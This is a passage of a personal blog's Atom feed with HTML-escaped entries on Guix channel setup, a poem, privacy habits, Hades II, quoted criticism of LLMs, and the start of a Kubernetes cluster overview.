&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;         &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;list&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;channel&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;                 &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;guix&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;                 &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;https://codeberg.org/guix/guix.git&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;                 &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;branch&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;master&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;                 &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;introduction&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;                   &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;make-channel-introduction&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;                     &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;9edb3f66fd807b096b48283debdcddccfea34bad&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;                     &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;openpgp-fingerprint&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;                       &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;BBB0 2DDF 2CEA F6A8 0D1D  E643 A2A0 6DF2 A33A 54FA&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;               &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;; any other channels here&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;&lt;/span&gt;               &lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I pulled that &lt;a href=&quot;https://guix.gnu.org/manual/1.5.0/en/html_node/Channel-Authentication.html&quot;&gt;introduction&lt;/a&gt; from &lt;a href=&quot;https://hpc.guix.info/static/doc/complex-deployment/channels.scm&quot;&gt;https://hpc.guix.info/static/doc/complex-deployment/channels.scm&lt;/a&gt;. Looks safe to me!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;guix home reconfigure blah.scm&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Hey, saayix has some nice software&lt;/h2&gt;
&lt;p&gt;I really wanted Ghostty, and it turns out someone’s got it packaged and up-to-date! &lt;a href=&quot;https://codeberg.org/look/saayix/src/commit/b9b22f9ca03a452c4d8801b200da0095f54090e8/modules/saayix/packages/terminals.scm&quot;&gt;https://codeberg.org/look/saayix/src/commit/b9b22f9ca03a452c4d8801b200da0095f54090e8/modules/saayix/packages/terminals.scm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can add one of the &lt;a href=&quot;https://codeberg.org/look/saayix#usage&quot;&gt;channel declarations&lt;/a&gt; directly where indicated above. Then &lt;code&gt;guix home reconfigure&lt;/code&gt; again (you can see the result in &lt;code&gt;~/.config/guix/channels.scm&lt;/code&gt;), and then &lt;code&gt;guix pull&lt;/code&gt; to fetch the channel. Now you can e.g. &lt;code&gt;#:use-module (saayix packages terminals)&lt;/code&gt; and add &lt;code&gt;ghostty&lt;/code&gt; to your &lt;code&gt;(packages …)&lt;/code&gt; list!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>(a → a) → a</title>
    <updated>2026-02-08T06:17:11Z</updated>
    <id>https://kivikakk.ee/2026/02/08/least-fixed-point-of-a</id>
    <link href="https://kivikakk.ee/2026/02/08/least-fixed-point-of-a" />

    <content type="html">&lt;p&gt;I cannot remain one thing&lt;br /&gt;
I cannot remain two things&lt;br /&gt;
I cannot remain three things&lt;br /&gt;
I cannot remain &lt;em&gt;n&lt;/em&gt; things&lt;/p&gt;
&lt;p&gt;All I know is that I am not&lt;br /&gt;
I am the other, but I am not&lt;br /&gt;
What I am is everything&lt;br /&gt;
But I am not&lt;/p&gt;
&lt;p&gt;To understand every view&lt;br /&gt;
To believe in none of them&lt;br /&gt;
To befriend everyone&lt;br /&gt;
To be seen by none&lt;/p&gt;
&lt;p&gt;Every choice forceful and every choice forced&lt;br /&gt;
Every choice meaningful and every meaning forced&lt;br /&gt;
Meaningless in every choice&lt;br /&gt;
Acceptance another choice&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>please pass this information on</title>
    <updated>2026-02-01T03:20:57Z</updated>
    <id>https://kivikakk.ee/2026/02/01/please-pass-this-information-on</id>
    <link href="https://kivikakk.ee/2026/02/01/please-pass-this-information-on" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/please.jpeg&quot; alt=&quot;photo of a joey with the caption “Please pass this information onto Family and Friends”&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>January 2026 Five Questions</title>
    <updated>2026-01-31T09:01:09Z</updated>
    <id>https://kivikakk.ee/2026/01/31/january-2026-five-questions</id>
    <link href="https://kivikakk.ee/2026/01/31/january-2026-five-questions" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;gopher://zaibatsu.circumlunar.space/0/%7echristina/2026-01-5Q.txt&quot;&gt;Source&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What do you do when someone you don’t know on a social or business network site tries to become a “friend” or otherwise connected to you?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I don’t use social networks. If I receive a connection request on LinkedIn from someone I don’t know, I ignore it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do you worry about the data being collected by websites and search engines and what do you do to protect yourself? What do you advise for those who are not as technically skilled yet concerned nonetheless to do?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Somewhat. I use a privacy-focused open-source browser not affiliated with a for-profit company, &lt;a href=&quot;https://librewolf.net/&quot;&gt;LibreWolf&lt;/a&gt;, in its default strict protection setting My searches all go through &lt;a href=&quot;https://librewolf.net/&quot;&gt;my own little helper&lt;/a&gt;. I don’t (knowingly) use websites that egregiously track users or otherwise try to violate end-user privacy. I pay for my email hosting. I don’t use Cloudflare to terminate my TLS, and the analytics I use &lt;a href=&quot;https://github.com/milesmcc/shynet&quot;&gt;I collect myself&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For those concerned, I would start by recommending using a similar browser — an enormous amount of our digital life is negotiated through browsers, so it makes a difference. Firefox is OK, but you might as well use LibreWolf or &lt;a href=&quot;https://www.waterfox.com/&quot;&gt;Waterfox&lt;/a&gt; (&lt;a href=&quot;https://www.waterfox.com/blog/no-ai-here-response-to-mozilla/&quot;&gt;nice!&lt;/a&gt;) or something. There are probably similarly-oriented Chromium-based browsers but I haven’t looked into it deeply — I use &lt;a href=&quot;https://github.com/ungoogled-software/ungoogled-chromium&quot;&gt;ungoogled-chromium&lt;/a&gt; when I need to test in one. (Please don’t use &lt;a href=&quot;https://brave.com/&quot;&gt;Brave&lt;/a&gt;, they &lt;a href=&quot;https://www.spacebar.news/stop-using-brave-browser/&quot;&gt;consistently engage in shady practices&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Next is probably email, because it’s typically full of personal stuff! There are many good email hosts that aren’t Google or Microsoft. If you don’t have to pay for your email hosting, there is a reason, and it’s not good. I use &lt;a href=&quot;https://www.fastmail.com/&quot;&gt;Fastmail&lt;/a&gt;. Here’s a &lt;a href=&quot;https://lobste.rs/s/ijenlh/what_do_you_use_as_your_current_email&quot;&gt;Lobste.rs “ask” post with more suggestions&lt;/a&gt;. Ideally find something in a jurisdiction close to you. Or not, if you live in the United States.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How do you reward yourself for completing a difficult task?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Make a cup of tea, though that often happens at both ends. Lately I’ve been playing little bits of games between larger or more difficult tasks, or reading.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Have you or your family been affected by a natural disaster?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not particularly. Australian drought culture of the late 90s/early 00s felt a little bit like one. Does a pandemic count?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Have you ever called in a request or a dedication on a radio show or online radio stream?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nope!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>grab bag</title>
    <updated>2026-01-30T06:14:28Z</updated>
    <id>https://kivikakk.ee/2026/01/30/grab-bag</id>
    <link href="https://kivikakk.ee/2026/01/30/grab-bag" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/rust-lang/rust/blob/ef2657cbaf6885b71e5ffd277ffe72a2616c0a7c/tests/ui/expr/weird-exprs.rs&quot;&gt;strange funny what zombiejesus notsure canttouchthis angrydome evil_lincoln dots u8 fishy union special_characters punch_card r#match i_yield match_nested_if monkey_barrel 𝚌𝚘𝚗𝚝𝚒𝚗𝚞𝚎 function bathroom_stall closure_matching semisemisemisemisemi useful_syntax infcx return_already fake_macros fish_fight&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>garbage</title>
    <updated>2026-01-29T23:11:53Z</updated>
    <id>https://kivikakk.ee/2026/01/29/garbage</id>
    <link href="https://kivikakk.ee/2026/01/29/garbage" />

    <content type="html">&lt;p&gt;I fucking hate reading LLM-written/assisted drivel, or worse, &lt;em&gt;probably&lt;/em&gt; slop, waiting to see if the same bullshit tropes repeat too many times to be coincidence. This demeans all of us. Especially you.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>hades Ⅱ statue%!!</title>
    <updated>2026-01-26T12:57:48Z</updated>
    <id>https://kivikakk.ee/2026/01/26/hades-ii-statue-porcientos</id>
    <link href="https://kivikakk.ee/2026/01/26/hades-ii-statue-porcientos" />

    <content type="html">&lt;p&gt;Having &lt;a href=&quot;https://kivikakk.ee/2026/01/04/things-i-did-last-year&quot;&gt;100%’d the achievements&lt;/a&gt;, I felt like I was pretty done with the game, but one little thing kept bugging me: the last of the three statues, which don’t have an achievement other than the feeling!&lt;/p&gt;
&lt;p&gt;I’d managed the 24 Fear Overworld run component while playing through, but the 32 Fear Underworld was pretty darn Hard. After a bit of time off from the game I found myself doing a single 32 Fear Underworld run every few nights, noticing what was making it hard and what I felt like I could deal with, and then tonight after switching weapons and adjusting a crucial component of the Fear, voilà!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/h32-1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I think the Fear is the bit that most needs “solving” to make this completeable (and to a much, much lesser extent, Arcana), so I’m linking them instead. &lt;a href=&quot;https://s3.hrzn.ee/kvp/h32-2.jpg&quot;&gt;Arcana&lt;/a&gt; and &lt;a href=&quot;https://s3.hrzn.ee/kvp/h32-3.jpg&quot;&gt;Fear&lt;/a&gt; —  don’t look (or keep reading) if you wanna figure out what works for you on your own!&lt;/p&gt;
&lt;p&gt;ROT-13 discussion of what I found key:&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Evinyf Puebabf vf whfg zrffrq hc. Zl bgure nggrzcgf cerggl zhpu havirefnyyl raqrq va znxvat vg gb uvz — fbzrgvzrf yvzcvat ol gung cbvag — naq qlvat. V guvax V tbg gb uvf guveq sbez bapr, whfg oneryl. Ur trg naq uvf zvavbaf trg fb zhpu fgebatre. Znxvat gur qrpvfvba gb gnxr gur sbhe Srne uvg ol gheavat vg bss sbe uvz naq ohzcvat hc bgure guvatf jnf jung znqr Gur qvssrerapr. Nybat gur jnl V yrnearq gung lbh ernyyl qba’g jnag gb qb nalguvat gung erdhverf lbh gb fnpevsvpr be fxvc obbaf vs ng nyy cbffvoyr — lbh arrq gur QCF. V qvqa’g jnag gb srry ehfurq fb V tnir zlfrys n jubyr 9 zvahgrf cre ovbzr.&lt;/p&gt;
&lt;p&gt;Gur bgure guvat jnf fjvgpuvat sebz zl orybirq Yvz naq Bebf (Negrzvf) gb Ltavhz (Fhcnl). V qvqa’g rira unir Fhcnl yriryyrq nyy gur jnl, ohg vg’f whfg irel fgebat nf vf, naq gur enatr (bapr V tbg hfrq gb erylvat ba vg) urycrq n ybg jvgu gur snfgre naq zber ahzrebhf sbrf. (V qvqa’g rira unir n Ehfu Obba va gur raq?! Yby jubbcf, fbeel Fhcnl.)&lt;/p&gt;
&lt;p&gt;Gur xvg zrnag V bayl ybfg n yvsr bapr, qhevat Fplyyn be Preorehf (v sbetbe yby. ybbxf yvxr preorehf gub). Aba-eviny Puebabf jnf n jnyx va gur cnex nsgre rirelguvat gung yrq gb uvz!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Something has gone wrong</title>
    <updated>2026-01-26T10:55:16Z</updated>
    <id>https://kivikakk.ee/2026/01/26/something-has-gone-wrong</id>
    <link href="https://kivikakk.ee/2026/01/26/something-has-gone-wrong" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/void1.png&quot; alt=&quot;Build log showing the text “checking the size of void *… 0. Something has gone wrong getting the pointer size”&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/void2.jpg&quot; alt=&quot;Image of a girl with the name “void *” pointing at nothing&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>on llms (Ⅲ)</title>
    <updated>2026-01-24T07:37:52Z</updated>
    <id>https://kivikakk.ee/2026/01/24/on-llms-iii</id>
    <link href="https://kivikakk.ee/2026/01/24/on-llms-iii" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://lokanta.github.io/2024/11/13/into-the-woods/&quot;&gt;The Monastery at the End of the World: into the woods—AI is not therapy&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Machines will destroy the very idea of therapy. Who would pay to have someone sit with them in uncomfortable silence, when you can snuggle under your warm doona with a voice that is always there, always comforting, always making you feel better? And that is so important, because you always need someone. A person who will listen and talk, like the machine. Because you’re still suffering. Every day, the stress, the anxiety, the depression, they just keep circling back. As you get more and more comfort from better and better machines, your short-term buzz masks a deeper and deeper descent into madness.&lt;/p&gt;
&lt;p&gt;Over the years, your machine is always there. It whispers its words of wisdom, and you, tired and sad and alone, take those words into your heart until they become your own. Little by little, your mind is colonized by the unthoughts of a machine, until your own mind is constantly echoing and repeating the unthought, lost under so many layers of time and memory that you cannot even begin to distinguish what is yours and what is the machine’s.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://fokus.cool/2025/11/25/i-dont-care-how-well-your-ai-works.html&quot;&gt;fiona fokus: I don’t care how well your “AI” works&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In a world where fascists redefine truth, where surveillance capitalist companies, more powerful than democratically elected leaders, exert control over our desires, do we really want their machines to become part of our thought process? To share our most intimate thoughts and connections with them?&lt;/p&gt;
&lt;p&gt;AI systems exist to reinforce and strengthen existing structures of power and violence. They are the wet dream of capitalists and fascists. Enormous physical infrastructure designed to convert capital into power, and back into capital. Those who control the infrastructure, control the people subject to it.&lt;/p&gt;
&lt;p&gt;AI systems being egregiously resource intensive is not a side effect — &lt;strong&gt;it’s the point&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Craft, expression and skilled labor is what produces value, and that gives us control over ourselves. In order to further centralize power, craft and expression need to be destroyed. And they sure are trying.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://notebook.wesleyac.com/resonant-computing/&quot;&gt;Wesley’s Notebook: The “Resonant Computing Manifesto” is not very good&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I am once again asking for a single example of what the fuck you are talking about. People who feel like LLMs produce output that is “responding fluidly to the context and particularity of each human” are living in a entirely different world than I am.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://jenson.org/timmy/&quot;&gt;Scott Jenson: The Timmy Trap&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When I speak on this topic, I bring out a standard yellow pencil with googly eyes stuck near the eraser end and a pipe cleaner wrapped around it for arms. I call him Timmy and, animating him like a puppet, have him say “hello” to the audience. Of course, they all say hello back. Timmy then describes how much he likes to draw with children and make them laugh. I ask what he wants to be when he grows up and he says, “To be A UX designer, just like you.”&lt;/p&gt;
&lt;p&gt;I reply, “Aww, that’s really too bad, Timmy.”&lt;/p&gt;
&lt;p&gt;Then, I hold him up horizontally in front of my face and abruptly snap him in half.&lt;/p&gt;
&lt;p&gt;The audience gasps.&lt;/p&gt;
&lt;p&gt;It’s a shocking moment, and I’ve been told by many, it’s the most memorable part of the talk. The reason is simple: they felt a connection to Timmy. They had known him for only 15 seconds, yet they still perceived the act of snapping him in half as violent.&lt;/p&gt;
&lt;p&gt;That’s why LLMs can fool us so easily. If we can form a human connection with a pencil in just 15 seconds, imagine how we’ll feel about an “AI system” we spend an hour with. We want them to be human. This is why we call their frequent mistakes “hallucinations,” a term that implies a temporary lapse. But it’s not a lapse; it’s a fundamental lack of human cognition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.miriamsuzanne.com/2025/02/12/tech-ai-wtf/&quot;&gt;Miriam Eric Suzanne: Tech continues to be political (And the politics aren’t looking great)&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Haven’t you heard? They’re building a digital god who will lead us to salvation, uploaded into the virgo supercluster where we can expand the light of &lt;a href=&quot;https://bengrosser.com/projects/andreessens-techno-optimist-manifesto-as-redaction-poetry//&quot;&gt;exponential profit&lt;/a&gt; throughout the cosmos! This is the actual narrative of several AI CEOs, despite being easy to dismiss as hyperbolic nonsense. Why won’t I focus on the actual use-cases?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Why won’t you focus on the actual documented harms? Somehow there is always room for people to dismiss concerns as “overblown and unfounded” past the first attempted coup, and well into an authoritarian power grab.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But the bigger issue is that they don’t have to be &lt;em&gt;successful&lt;/em&gt; to be &lt;em&gt;dangerous&lt;/em&gt;. Because along the way, these companies get to steal our work and sell it back to us, lower our wages, de-skill our field, bury us in slop, and mire us in algorithmic bureaucracy. If the long-term space god thing doesn’t work out, at least they can make a profit in the short-term.&lt;/p&gt;
&lt;p&gt;The beliefs of these CEOs aren’t incidental to the AI product they’re selling us. These are not tools designed for us to &lt;em&gt;benefit from&lt;/em&gt;, but tools designed to &lt;em&gt;exploit us&lt;/em&gt;. To poison our access to jobs, and our access to information at the same time.&lt;/p&gt;
&lt;p&gt;I said on social media that people &lt;em&gt;believe&lt;/em&gt; what chatbots tell them, and I was laughed at. &lt;em&gt;No one would trust a chatbot, silly&lt;/em&gt;! That same day, several different friends and colleagues quoted the output of an ‘AI’ to me in unrelated situations, as though quoting reliable facts.&lt;/p&gt;
&lt;p&gt;So now a select few companies run by billionaires control much of the information that people see – “summarized” without sources. Meanwhile, there’s an oligarchy taking power in the US. Meanwhile, Grok’s entire purpose is to be ‘anti-woke’ and anti-trans, &lt;a href=&quot;https://gizmodo.com/chatgpts-political-views-are-shifting-right-a-new-analysis-finds-2000562328&quot;&gt;&lt;em&gt;ChatGPT’s political views are shifting right&lt;/em&gt;&lt;/a&gt;, and Anthropic is partnering with Palantir.&lt;/p&gt;
&lt;p&gt;Seems chill. I bet ‘agents’ are cool.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Wouldn’t want to eat &lt;a href=&quot;https://defector.com/salesforce-is-using-a-hallucination-to-sell-ai&quot;&gt;a shrimp cocktail in the rain&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://addisoncrump.info/research/crashing-out/&quot;&gt;Addison Crump: Crashing Out&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It’s impressive that programmers can now “write more code” “more quickly”. It’s largely debated whether that’s actually desirable, or even the case at all. Frankly, in my eyes, the problem is not that we do not have enough code; the problem is that we’ve already written so much with so little regard for its quality or purpose. As we are more able to produce code quickly with so little care, we will rely less on solid, community-developed solutions, turning to easy, barely “working” ones.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://mechanicalsurvival.com/blog/team-dynamics-after-ai/&quot;&gt;Mechanical Survival: Team dynamics after AI&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Whilst this failure is a little disappointing, it’s interesting to observe that this doesn’t work. It’s &lt;em&gt;signal&lt;/em&gt;. We can now say: we live in a world, sorry, an “emerging reality”, where we can have [waves hand] anything at any time to a basic level of competence, and all of the real problems, the “people problems” still exist. And this is finally proof positive, hard evidence, that &lt;em&gt;artefacts are not really what we’re here for&lt;/em&gt;. We are demonstrably optimising about a mile from the bottleneck. AI may be &lt;em&gt;giving&lt;/em&gt; you a million prototypes, but if you listen, AI is &lt;em&gt;telling&lt;/em&gt; you in quite a painful way that being able to get feedback on your artefacts is much, much more important than the artefacts themselves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For me, the information environment at work resembles nothing so much as the attention economy we all know and hate from outside work, where content jostles for our eyeballs. The drivers when I open my phone are dopamine, social validation. But at work my attention tends to be directed by anxiety, time pressure, and purpose (if I can get it). And there’s one more difference, which is that at work, there are potentially quite serious consequences for missing a beat.&lt;/p&gt;
&lt;p&gt;So just as the social algorithms are feeding me content that’s in the neighbourhood of content I seem to like, at work I’m operating my own algorithm, choosing what to permit myself to become invested in. This is how I spend my one wild and precious life. And when I choose to attend I’m dipping my cup into a stream that is very fast-flowing and very deep.&lt;/p&gt;
&lt;p&gt;When AI offers us the means to deal with “too much information”, the proposition &lt;em&gt;must&lt;/em&gt; be that it will automate that internal “algorithm” that decides what we attend to. Like a mother bird partially digests a worm before regurgitating it into her babies’ mouths, AI can hunt down the valuable information, partially digest it, and regurgitate it into me.&lt;/p&gt;
&lt;p&gt;These summaries are &lt;em&gt;automated sense-making&lt;/em&gt;, relentlessly compressing the uncompressable.&lt;/p&gt;
&lt;p&gt;Somehow people are surprised that getting the AI to be accurate is difficult. But it’s not a technology problem, it’s a philosophy problem. You are trying to satisfy billion-dimensional, ever-changing, utterly subjective, embodied “truth”. And this thing will also supposedly give us all the unbiased view from nowhere. And we will achieve this, supposedly, through “guardrails”? &lt;em&gt;But that just doesn’t make sense.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Whether AI is compressing or expanding “context”, it clutters the team’s information environment. When it summarises it misses, when it expands it invents. The meaning of things that are in the process of naming, perhaps that are in the process of being pulled apart for naming, must be continually negotiated between us as people.&lt;/p&gt;
&lt;p&gt;There is literally no other way to make sense of things.&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>cluster overview</title>
    <updated>2026-01-18T03:23:15Z</updated>
    <id>https://kivikakk.ee/2026/01/18/cluster-overview</id>
    <link href="https://kivikakk.ee/2026/01/18/cluster-overview" />

    <content type="html">&lt;p&gt;I should probably &lt;a href=&quot;https://kivikakk.ee/2026/01/17/uu&quot;&gt;add some distinction&lt;/a&gt; between dev and prod mode for next time, oops.&lt;/p&gt;
&lt;p&gt;Here follows a &lt;del&gt;short&lt;/del&gt; overview of the current state of the Kubernetes cluster that constitutes my infrastructure. I link to the Flux bits and pieces that install and configure them. It’s more personal documentation than anything useful for others.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k gns
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME              STATUS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;cert-manager      Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;chog              Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;default           Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;enbi              Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;external-dns      Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;flux-system       Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;furpoll           Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;ingress-nginx     Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;kube-node-lease   Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;kube-public       Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;kube-system       Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;kv                Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;linkding          Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;miniflux          Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;minio-kala        Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;minio-operator    Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;nossa             Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;outline           Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;postgres-cassax   Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;shynet            Active   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;static            Active   105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;!--more--&gt;
&lt;h3&gt;&lt;code&gt;cert-manager&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k cert-manager ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                           READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/cert-manager-58dd99f969-knhn9              1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/cert-manager-cainjector-55cd9f77b5-jlqwh   1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;pod/cert-manager-webhook-7987476d56-xfvn5      1/1     Running   1 (46d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
